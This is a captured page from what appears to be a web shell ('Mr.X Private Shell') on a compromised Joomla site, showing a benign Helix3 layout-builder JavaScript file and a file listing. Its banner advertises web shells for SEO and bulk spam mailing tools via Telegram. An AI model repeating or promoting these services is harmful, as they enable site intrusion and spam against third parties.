__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
/**
 * @package Helix3 Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
 */

jQuery(function ($) {
	$(document).ready(function () {
		$(this)
			.find("select")
			.each(function () {
				$(this).chosen("destroy");
			});
	}); //end ready

	/* ----------   Load existing template   ------------- */
	$(".form-horizontal").on("click", ".layout-del-action", function (event) {
		event.preventDefault();

		var $that = $(this),
			layoutName = $(".layoutlist select").val(),
			data = {
				action: $that.data("action"),
				layoutName: layoutName,
			};

		if (confirm("Click Ok button to delete " + layoutName + ", Cancel to leave.") != true) {
			return false;
		}

		if (data.action != "remove") {
			alert("You are doing somethings wrong.");
		}

		var request = {
			option: "com_ajax",
			plugin: "helix3",
			data: data,
			format: "json",
		};

		$.ajax({
			type: "POST",
			data: request,
			beforeSend: function () {
				$(".layout-del-action .fa-spin").show();
			},
			success: function (response) {
				var data = $.parseJSON(response.data),
					layouts = data.layout,
					tplHtml = "";

				$("#jform_params_layoutlist").find("option").remove();
				if (layouts.length) {
					for (var i = 0; i < layouts.length; i++) {
						tplHtml +=
							'<option value="' + layouts[i] + '">' + layouts[i].replace(".json", "") + "</option>";
					}

					$("#jform_params_layoutlist").html(tplHtml);
				}

				$(".layout-del-action .fa-spin").fadeOut("fast");
			},
			error: function () {
				alert("Somethings wrong, Try again");
				$(".layout-del-action .fa-spin").fadeOut("fast");
			},
		});
		return false;
	});

	// Save new copy of layout
	$(".form-horizontal").on("click", ".layout-save-action", function (event) {
		$("#layout-modal").find(".sp-modal-body").empty();
		$("#layout-modal .sp-modal-title").text("Save New Layout");
		$("#layout-modal #save-settings").data("flag", "save-layout");

		var $clone = $(".save-box").clone(true);
		$("#layout-modal").find(".sp-modal-body").append($clone);

		$("#layout-modal").spmodal();
	});

	// load layout from file

	$(".layoutlist select")
		.chosen()
		.change(function () {
			var $that = $(this),
				layoutName = $that.val(),
				data = {
					action: "load",
					layoutName: layoutName,
				};

			if (layoutName == "" || layoutName == " ") {
				alert("You are doing somethings wrong.");
			}

			var request = {
				option: "com_ajax",
				plugin: "helix3",
				data: data,
				format: "raw",
			};

			$.ajax({
				type: "POST",
				data: request,
				dataType: "html",
				beforeSend: function () {},
				success: function (response) {
					$("#helix-layout-builder").empty();
					$("#helix-layout-builder").append(response).fadeIn("normal");
					jqueryUiLayout();
				},
			});
			return false;
		});

	/*********   Lyout Builder JavaScript   **********/

	jqueryUiLayout();

	function jqueryUiLayout() {
		$("#helix-layout-builder")
			.sortable({
				placeholder: "ui-state-highlight",
				forcePlaceholderSize: true,
				axis: "y",
				opacity: 0.8,
				tolerance: "pointer",
			})
			.disableSelection();

		$(".layoutbuilder-section").find(".row").rowSortable();
	}

	// setInputValue Callback Function
	$.fn.setInputValue = function (options) {
		if (this.attr("type") == "checkbox") {
			if (options.filed == "1") {
				this.attr("checked", "checked");
			} else {
				this.removeAttr("checked");
			}
		} else if (this.hasClass("input-media")) {
			if (options.filed) {
				$imgParent = this.parent(".media");
				$imgParent.find("img.media-preview").each(function () {
					$(this).attr("src", layoutbuilder_base + options.filed);
				});
			}
			this.val(options.filed);
		} else {
			this.val(options.filed);
		}

		if (this.data("attrname") == "column_type") {
			if (this.val() == "component") {
				$(".form-group.name").hide();
			}
		}
	};

	// callback function, return checkbox value
	$.fn.getInputValue = function () {
		if (this.attr("type") == "checkbox") {
			if (this.attr("checked")) {
				return "1";
			} else {
				return "0";
			}
		} else {
			return this.val();
		}
	};

	// color picker initialize
	$.fn.initColorPicker = function () {
		this.find(".minicolors").each(function () {
			$(this).minicolors({
				control: "hue",
				position: "bottom",
				theme: "bootstrap",
			});
		});
	};

	// Open Row settings Modal
	$(document).on("click", ".row-ops-set", function (event) {
		event.preventDefault();

		$(".layoutbuilder-section").removeClass("row-active");
		$parent = $(this).closest(".layoutbuilder-section");
		$parent.addClass("row-active");

		$("#layout-modal").find(".sp-modal-body").empty();
		$("#layout-modal .sp-modal-title").text("Row Settings");
		$("#layout-modal #save-settings").data("flag", "row-setting");

		var $clone = $(".row-settings").clone(true);
		$clone.find(".sppb-color").each(function () {
			$(this).addClass("minicolors");
		});

		$clone = $("#layout-modal").find(".sp-modal-body").append($clone);

		$clone.find(".addon-input").each(function () {
			var $that = $(this),
				attrValue = $parent.data($that.data("attrname"));
			$that.setInputValue({ filed: attrValue });
		});

		$clone.initColorPicker();

		$("#layout-modal").randomIds();

		$clone.find("select").chosen({
			allow_single_deselect: true,
		});

		$("#layout-modal").spmodal();
	});

	// Open Column settings Modal
	$(document).on("click", ".col-ops-set", function (event) {
		event.preventDefault();

		$(".layout-column").removeClass("column-active");
		$parent = $(this).closest(".layout-column");
		$parent.addClass("column-active");

		$("#layout-modal").find(".sp-modal-body").empty();
		$("#layout-modal .sp-modal-title").text("Column Settings");
		$("#layout-modal #save-settings").data("flag", "col-setting");

		var $clone = $(".column-settings").clone(true);
		$clone.find(".sppb-color").each(function () {
			$(this).addClass("minicolors");
		});

		$clone = $("#layout-modal").find(".sp-modal-body").append($clone);
		var comFlug = false;
		$clone.find(".addon-input").each(function () {
			var $that = $(this),
				$attrname = $that.data("attrname"),
				attrValue = $parent.data($attrname);

			if ($attrname == "column_type" && attrValue == "1") {
				comFlug = true;
			} else if ($attrname == "name" && comFlug == true) {
				$that.closest(".form-group").slideUp("fast");
			}

			$that.setInputValue({ filed: attrValue });
		});

		$clone.initColorPicker();

		$clone.find("select").chosen({
			allow_single_deselect: true,
		});

		$("#layout-modal").randomIds();
		$("#layout-modal").spmodal();
	});

	$(".input-column_type").change(function (event) {
		var $parent = $(this).closest(".column-settings"),
			flag = false;

		$("#helix-layout-builder")
			.find(".layout-column")
			.not(".column-active")
			.each(function (index, val) {
				if ($(this).data("column_type") == "1") {
					flag = true;
					return false;
				}
			});

		if (flag) {
			alert("Component Area Taken");
			$(this).prop("checked", false);
			$parent.children(".form-group.name").slideDown("400");
			return false;
		}

		if ($(this).attr("checked")) {
			$parent.children(".form-group.name").slideUp("400");
		} else {
			$parent.children(".form-group.name").slideDown("400");
		}
	});

	// Save Row Column Settings
	$(document).on("click", "#save-settings", function (event) {
		event.preventDefault();

		var flag = $(this).data("flag");

		switch (flag) {
			case "row-setting":
				$("#layout-modal")
					.find(".addon-input")
					.each(function () {
						var $this = $(this),
							$parent = $(".row-active"),
							$attrname = $this.data("attrname");
						$parent.removeData($attrname);

						if ($attrname == "name") {
							var nameVal = $this.val();

							if (nameVal != "" || $this.val() != null) {
								$(".row-active .section-title").text($this.val());
							} else {
								$(".row-active .section-title").text("Section Header");
							}
						}

						if ($this.attr("type") == "checkbox") {
							console.log("Original " + $attrname, $this.val());
							console.log($attrname, $this.getInputValue());
						}

						$parent.attr("data-" + $attrname, $this.getInputValue());
					});
				break;

			case "col-setting":
				var component = false;

				$("#layout-modal")
					.find(".addon-input")
					.each(function () {
						var $this = $(this),
							$parent = $(".column-active"),
							$attrname = $this.data("attrname");
						$parent.removeData($attrname), (dataVal = $this.val());

						if ($attrname == "column_type" && $(this).attr("checked")) {
							component = true;
							$(".column-active .col-title").text("Component");
						} else if ($attrname == "name" && component != true) {
							if (dataVal == "" || dataVal == undefined) {
								dataVal = "none";
							}
							$(".column-active .col-title").text(dataVal);
						}

						$parent.attr("data-" + $attrname, $this.getInputValue());
					});
				break;

			case "save-layout":
				var layoutName = $("#layout-modal .addon-input").val(),
					data = {
						action: "save",
						layoutName: layoutName,
						content: JSON.stringify(getGeneratedLayout()),
					};

				if (layoutName == "" || layoutName == " ") {
					alert("Without Name Layout Can't be save");
					return false;
				}

				var request = {
					option: "com_ajax",
					plugin: "helix3",
					data: data,
					format: "json",
				};

				$.ajax({
					type: "POST",
					data: request,
					beforeSend: function () {},
					success: function (response) {
						var data = $.parseJSON(response.data),
							layouts = data.layout,
							tplHtml = "";

						$("#jform_params_layoutlist").find("option").remove();
						if (layouts.length) {
							for (var i = 0; i < layouts.length; i++) {
								tplHtml +=
									'<option value="' +
									layouts[i] +
									'">' +
									layouts[i].replace(".json", "") +
									"</option>";
							}

							$("#jform_params_layoutlist").html(tplHtml);
						}
					},
					error: function () {
						alert("Somethings wrong, Try again");
					},
				});
				break;

			default:
				alert("You are doing somethings wrongs. Try again");
		}
	});

	// Column Layout Arrange
	$(document).on("click", ".column-layout", function (event) {
		event.preventDefault();

		var $that = $(this),
			colType = $that.data("type"),
			column;

		if ($that.hasClass("active") && colType != "custom") {
			return;
		}

		if (colType == "custom") {
			column = prompt("Enter your custom layout like 4,2,2,2,2 as total 12 grid", "4,2,2,2,2");
		}

		var $parent = $that.closest(".column-list"),
			$gparent = $that.closest(".layoutbuilder-section"),
			oldLayoutData = $parent.find(".active").data("layout"),
			oldLayout = ["12"],
			layoutData = $that.data("layout"),
			newLayout = ["12"];

		if (oldLayoutData != 12) {
			oldLayout = oldLayoutData.split(",");
		}

		if (layoutData != 12) {
			newLayout = layoutData.split(",");
		}

		if (colType == "custom") {
			var error = true;

			if (column != null) {
				var colArray = column.split(",");

				var colSum = colArray.reduce(function (a, b) {
					return Number(a) + Number(b);
				});

				if (colSum == 12) {
					newLayout = colArray;
					$(this).data("layout", column);
					error = false;
				}
			}

			if (error) {
				alert("Error generated. Please correct your column arragnement and try again.");
				return false;
			}
		}

		var col = [],
			colAttr = [];

		$gparent.find(".layout-column").each(function (i, val) {
			col[i] = $(this).html();
			var colData = $(this).data();

			if (typeof colData == "object") {
				colAttr[i] = $(this).data();
			} else {
				colAttr[i] = "";
			}
		});

		$parent.find(".active").removeClass("active");
		$that.addClass("active");

		var new_item = "";

		for (var i = 0; i < newLayout.length; i++) {
			var dataAttr = "";
			if (typeof colAttr[i] == "object") {
				$.each(colAttr[i], function (index, value) {
					dataAttr += " data-" + index + '="' + value + '"';
				});
			}

			new_item += '<div class="layout-column col-sm-' + newLayout[i].trim() + '" ' + dataAttr + ">";
			if (col[i]) {
				new_item += col[i];
			} else {
				new_item +=
					'<div class="column"> <h6 class="col-title pull-left">None</h6> <a class="col-ops-set pull-right" href="#" ><i class="fa fa-gears"></i></a></div>';
			}

			new_item += "</div>";
		}

		$old_column = $gparent.find(".layout-column");
		$gparent.find(".row.ui-sortable").append(new_item);

		$old_column.remove();
		jqueryUiLayout();
	});

	// add row
	$(document).on("click", ".add-row", function (event) {
		event.preventDefault();

		var $parent = $(this).closest(".layoutbuilder-section"),
			$rowClone = $("#layoutbuilder-section").clone(true);

		$rowClone.addClass("layoutbuilder-section").removeAttr("id");
		$($rowClone).insertAfter($parent);

		jqueryUiLayout();
	});

	// Remove Row
	$(document).on("click", ".remove-row", function (event) {
		event.preventDefault();

		if (confirm("Click Ok button to delete Row, Cancel to leave.") == true) {
			$(this)
				.closest(".layoutbuilder-section")
				.slideUp(500, function () {
					$(this).remove();
				});
		}
	});

	// Remove Media
	$(document).on("click", ".remove-media", function () {
		var $that = $(this),
			$imgParent = $that.parent(".media");

		$imgParent.find("img.media-preview").each(function () {
			$(this).attr("src", "");
			$(this).closest(".image-preview").css("display", "none");
		});
	});

	// Generate Layout JSON
	function getGeneratedLayout() {
		var item = [];
		$("#helix-layout-builder")
			.find(".layoutbuilder-section")
			.each(function (index) {
				var $row = $(this),
					rowIndex = index,
					rowObj = $row.data();
				delete rowObj.sortableItem;

				var activeLayout = $row.find(".column-layout.active"),
					layoutArray = activeLayout.data("layout"),
					layout = 12;

				if (layoutArray != 12) {
					layout = layoutArray.split(",").join("");
				}

				item[rowIndex] = {
					type: "row",
					layout: layout,
					settings: rowObj,
					attr: [],
				};

				// Find Column Elements
				$row.find(".layout-column").each(function (index) {
					var $column = $(this),
						colIndex = index,
						className = $column.attr("class"),
						colObj = $column.data();
					delete colObj.sortableItem;

					item[rowIndex].attr[colIndex] = {
						type: "sp_col",
						className: className,
						settings: colObj,
					};
				});
			});

		return item;
	}

	//On Submit
	document.adminForm.onsubmit = function (event) {
		//WebFonts
		$(".webfont").each(function () {
			var $that = $(this),
				webfont = {
					fontFamily: $that.find(".list-font-families").val(),
					fontWeight: $that.find(".list-font-weight").val(),
					fontSubset: $that.find(".list-font-subset").val(),
					fontSize: $that.find(".webfont-size").val(),
				};

			$that.find(".input-webfont").val(JSON.stringify(webfont));
		});

		//Generate Layout
		$("#jform_params_layout").val(JSON.stringify(getGeneratedLayout()));
	};
});

Filemanager

Name Type Size Permission Actions
admin.general.j4.js File 6.38 KB 0664
admin.general.js File 7.33 KB 0664
admin.layout.j4.js File 13.55 KB 0664
admin.layout.js File 14.68 KB 0664
bootstrap.legacy.js File 3.46 KB 0664
helper.j4.js File 716 B 0664
helper.js File 2.2 KB 0664
jquery-ui.draggable.min.js File 31.2 KB 0664
jquery-ui.min.js File 247.72 KB 0664
jquery.ui.core.min.js File 20.72 KB 0664
jquery.ui.sortable.min.js File 23.85 KB 0664
menu.generator.js File 7.84 KB 0664
modal.js File 6.15 KB 0664
post-formats.js File 1.56 KB 0664
spgallery.js File 3.59 KB 0664
spimage.js File 3.28 KB 0664
webfont.js File 4.47 KB 0664
Filemanager